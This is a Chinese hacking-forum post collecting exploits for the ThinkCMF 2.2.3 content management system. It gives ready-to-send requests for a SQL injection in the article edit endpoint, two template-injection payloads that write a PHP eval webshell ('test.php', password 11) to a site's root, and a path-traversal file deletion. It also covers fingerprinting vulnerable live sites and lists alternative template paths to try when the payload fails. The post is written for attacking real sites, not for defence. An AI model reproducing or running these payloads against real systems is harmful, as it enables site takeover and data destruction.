资源共享吧|易语言论坛|逆向破解教程|辅助开发教程|网络安全教程|www.zygx8.com|我的开发技术随记

 找回密码
 注册成为正式会员
查看: 1705|回复: 0

[网络安全/渗透测试] thinkcmf漏洞集合

[复制链接]

184

主题

347

帖子

14

精华

资源共享吧豪华贵族SVIP

Rank: 9Rank: 9Rank: 9

资源币
18816
积分
3920
贡献
1368
在线时间
1084 小时
注册时间
2015-4-18
最后登录
2020-2-22

终身成就常驻居民幽默大师灌水大师原创先锋精华会员资源共享吧女神宣传大使爱心大使

发表于 2019-5-20 15:56:25 | 显示全部楼层 |阅读模式
thinkcmf漏洞集合

在先知逛的时候看到的的,后面发现是thinkcmf 翻了一下自己的漏洞库对比了一下版本发现,泡泡大佬这里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞补充。

注:thinkcmf 并没有死,他拥有两个版本一个是 thinkcmf5 一个是 thnkcmf2.2.3 但是这两个版本都有漏洞,因为现在thinkcmf2.2.3使用的人越来越少了,所以爆出来,至于5嘛,=-=不好意思,我还有用,所以不能发,请见谅

0x01 前台用户文章编辑提交存在注入
0x01.1 漏洞演示
前台的文章编辑中操作框架注入,所以可以直接sql注入

url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
t01.png
0x01.2 漏洞原理
文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(
t02.png


这里不多讲,因为没得意义。详情请看先知的历史tp漏洞,谢谢:)

0x02 前台模版注入漏洞-可getshell两处
0x02.1 Comment类模版引擎注入演示
    url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
    post:
    templateFile=/../public/index
    prefix=''
    content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。

连接马子:http://xxxxx.com/test.php 密码:11
即可getshell

t03.png
t04.png

0x02.2 Api类模版注入1
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
同上一样,会在跟目录生成 马子 test1.php

0x02.3 漏洞原理
路径:ThinkCMFX\application\Comment\Controller\WidgetController.class.php
路径:ThinkCMFX\application\Api\Controller\PluginController.class.php

两处的漏洞原理都是一样的,所以我就选一处进行讲解了
路径:application\Comment\Controller\WidgetController.class.php
方法:public function fetch(
t05.png
从名字查看我们会发现他的3个参数
$templateFile=模版地址
$content=内容
$prefix=前缀
$templateFile就是我们要包含的文件了,我们必须包含一个不然,代码会报错,导致无法写shell
$content 我们写马子的地方
$prefix 忽略他即可,没有用的
在代码中我们看到一个 $templateFile 给parseTemplate函数包含了,这里我们也不用管他,因为他的作用就是判断一下文件是否存在而已,所以我们在实战的时候,可以找到一处html文件包含即可
而tp的模版引擎 使用的是 smarty 而smarty中只要可控制内容的key 与 value 即可写入shell命令,所以同理可得,tp的 $content 我们可控 = 有模版注入
0x03 任意文件删除-只能windows删除0x03.1 漏洞演示 t06.png

post:
mgurl=..........\1.txt
t07.png

0x03.2 漏洞原理
路径:ThinkCMFX\application\User\Controller\ProfileController.class.php
方法:blic function do_avatar(
t08.png

从文件可以看到 $imgurl=str_replace(‘/‘,’’,$imgurl); 过滤了 / 但是没有过滤 所以我们无法引入 / 并且在更新头像以后还会从前端接收参数 imgurl 带入函数sp_delete_avatar 跟进去
路径:ThinkCMFX\application\Common\Common\function.php
方法:function sp_delete_avatar(
t09.png
0x04 使用说明
前面说了,thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。
1,看logo 3的logo是黄色的例如下图
t10.png

2,在网站url 后面输入 admin
t11.png

如果页面是蓝色的表示是3的,可日穿之
3,查看 README.md
在网站url后面输入README.md
t12.png
另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个错

post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
t13.png
请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:

/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index
还有最后一句废话:模版注入对于linux 并不好用 : )

差不多了,剩下的自己去thinkcmf里面自己找

回复

使用道具 举报

 点击右侧快捷回复  

本版积分规则

小黑屋|资源共享吧 ( 琼ICP备2021005790号-1 )

GMT+8, 2024-4-19 16:12 , Processed in 0.054708 second(s), 14 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表